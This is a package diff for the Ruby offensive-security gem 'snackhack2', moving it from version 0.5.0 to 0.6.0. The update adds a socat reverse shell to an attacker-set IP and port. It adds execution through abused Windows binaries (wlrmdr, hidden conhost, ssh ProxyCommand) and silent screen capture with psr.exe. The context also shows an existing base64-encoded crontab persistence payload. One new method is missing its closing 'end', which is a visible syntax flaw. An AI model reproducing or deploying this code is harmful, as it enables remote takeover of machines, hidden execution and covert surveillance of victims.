snackhack2 0.5.0 → 0.6.0

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: afdc9b9af7107268f1675b7a6551143d6a0548051333bbc6bfdd9509ba849cf5
-  data.tar.gz: ce38033dfa752619fedebfdd0618f85388f62257db1df177a9c0173f29349850
+  metadata.gz: 91c1c06a465134768119913da56c3cd2431d523bbba508d40247e4ac35b58080
+  data.tar.gz: e40b136a7b30a151e4a72e0a783399ea08196dfe9ede37df8a6baba1116e1c9a
 SHA512:
-  metadata.gz: 1ccafeff7b74f96d7f8d7c1fa4d1b9db2508ba11ae05d26d96ab0f345a961dca5b4de04a2f83dccbfe65223f090cba3aa52d916ec5a4a9cd3564833af79dd6c6
-  data.tar.gz: 2f3e09611dd4d82ba814fd841ee574d3ef493f951b22950ce4957800e568744cf7d5a1b00327673ea2b7037d13410aa0f490d63573654fe6509d0fd87569504f
+  metadata.gz: 4fd58e1fbbe4f408ccd002ca9d3581c92308d1ab05c8147a978d502b782d67c5e867cbed43c76d8b99ba7dcd8413555b6ec65e270797688791baf2e36c02b14f
+  data.tar.gz: ee3506348b912fc05319b5be0f22699ca780f47cf471060dcb6d41685f4607be709de140356331249309de2d768554853a4c536ec67836e338be5731681a5866

data/lib/snackhack2/indirect_command_injection.rb

@@ -0,0 +1,27 @@
+module Snackhack2
+	class CommandInjection
+		attr_accessor :exe, :title, :prompt
+		def initialize
+			@exe  = "calc.exe"
+			@title = "Click me!"
+			@prompt = "To run calculator" 
+		end
+		def wlrmdr_With_prompt
+			Process.spawn("wlrmdr.exe -s 3600 -f 0 -t #{title} -m #{@prompt} -a 10 -u #{@exe}")
+		end
+		def wlrmdr_without_prompt
+			Process.spawn("wlrmdr.exe -s 3600 -f 0 -t _ -m _ -a 11 -u #{@exe}")
+		end
+		def conhost
+			Process.spawn("conhost.exe #{@exe}")
+		end
+		def conhost_hide
+			# Specify --headless parameter to hide child process window (if applicable)
+			Process.spawn("conhost.exe --headless #{@exe}")
+		def ssh
+			Process.spawn("ssh -o ProxyCommand=#{@exe} .")
+		end
+	end
+end
+
+

data/lib/snackhack2/portscan.rb

@@ -1,6 +1,6 @@
 # frozen_string_literal: true
 
-require 'packetfu'
+
 module Snackhack2
   class PortScan
     attr_accessor :display, :ip, :delete

data/lib/snackhack2/reverse_shell.rb

@@ -18,5 +18,11 @@ module Snackhack2
 			(crontab -u $(whoami) -l; echo "$line" ) | crontab -u $(whoami) -}	
     	puts "echo -n '#{Base64.encode64(c)}' | base64 -d >> t.sh; bash t.sh; rm t.sh;".delete!("\n")
     end
+    def bash
+    	c = %Q{
+    		bash.exe -c "socat tcp-connect:#{@ip}:#{@port} exec:sh,pty,stderr,setsid,sigint,sane"
+    	}
+    	Process.spawn(c)
+    end
   end
 end

data/lib/snackhack2/screenshots.rb

@@ -0,0 +1,21 @@
+require 'shellwords'
+module Snackhack2
+	class ScreenShot
+		attr_accessor :zip, :time
+		# https://lolbas-project.github.io/lolbas/Binaries/Psr/
+	    def initialize
+	    	@zip = "screenshots.zip"
+	    	@time = 60
+	    end
+	    def run
+	    	File.open("lol.bat", 'w+') { |file| file.write("psr.exe /start /output #{@zip} /sc 1 /gui 0") }
+	    	File.open("lol2.bat", 'w+') { |file| file.write("psr.exe /stop") }
+	    	Process.spawn("lol.bat")
+	    	sleep @time.to_i
+	    	system("lol2.bat")
+	    	sleep 2
+	    	File.delete("lol.bat")
+	    	File.delete("lol2.bat")
+	    end
+	end
+end

data/lib/snackhack2/version.rb

@@ -1,5 +1,5 @@
 # frozen_string_literal: true
 
 module Snackhack2
-  VERSION = '0.5.0'
+  VERSION = '0.6.0'
 end

data/lib/snackhack2.rb

@@ -26,6 +26,9 @@ require_relative 'snackhack2/tomcat'
 require_relative 'snackhack2/subdomains2'
 require_relative 'snackhack2/reverse_shell'
 require_relative 'snackhack2/forward_remote'
+require_relative 'snackhack2/screenshots'
+require_relative 'snackhack2/indirect_command_injection'
+
 module Snackhack2
   UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
   def self.read_serverversion

metadata

@@ -1,14 +1,14 @@
 --- !ruby/object:Gem::Specification
 name: snackhack2
 version: !ruby/object:Gem::Version
-  version: 0.5.0
+  version: 0.6.0
 platform: ruby
 authors:
 - mike
 autorequire: 
 bindir: exe
 cert_chain: []
-date: 2024-08-29 00:00:00.000000000 Z
+date: 2024-09-02 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: httparty
@@ -68,6 +68,7 @@ files:
 - lib/snackhack2/emails.rb
 - lib/snackhack2/forward_remote.rb
 - lib/snackhack2/google_analytics.rb
+- lib/snackhack2/indirect_command_injection.rb
 - lib/snackhack2/iplookup.rb
 - lib/snackhack2/lists/sshbrute.txt
 - lib/snackhack2/lists/subdomains.txt
@@ -75,6 +76,7 @@ files:
 - lib/snackhack2/portscan.rb
 - lib/snackhack2/reverse_shell.rb
 - lib/snackhack2/robots.rb
+- lib/snackhack2/screenshots.rb
 - lib/snackhack2/sitemap.rb
 - lib/snackhack2/sshbrute.rb
 - lib/snackhack2/subdomains.rb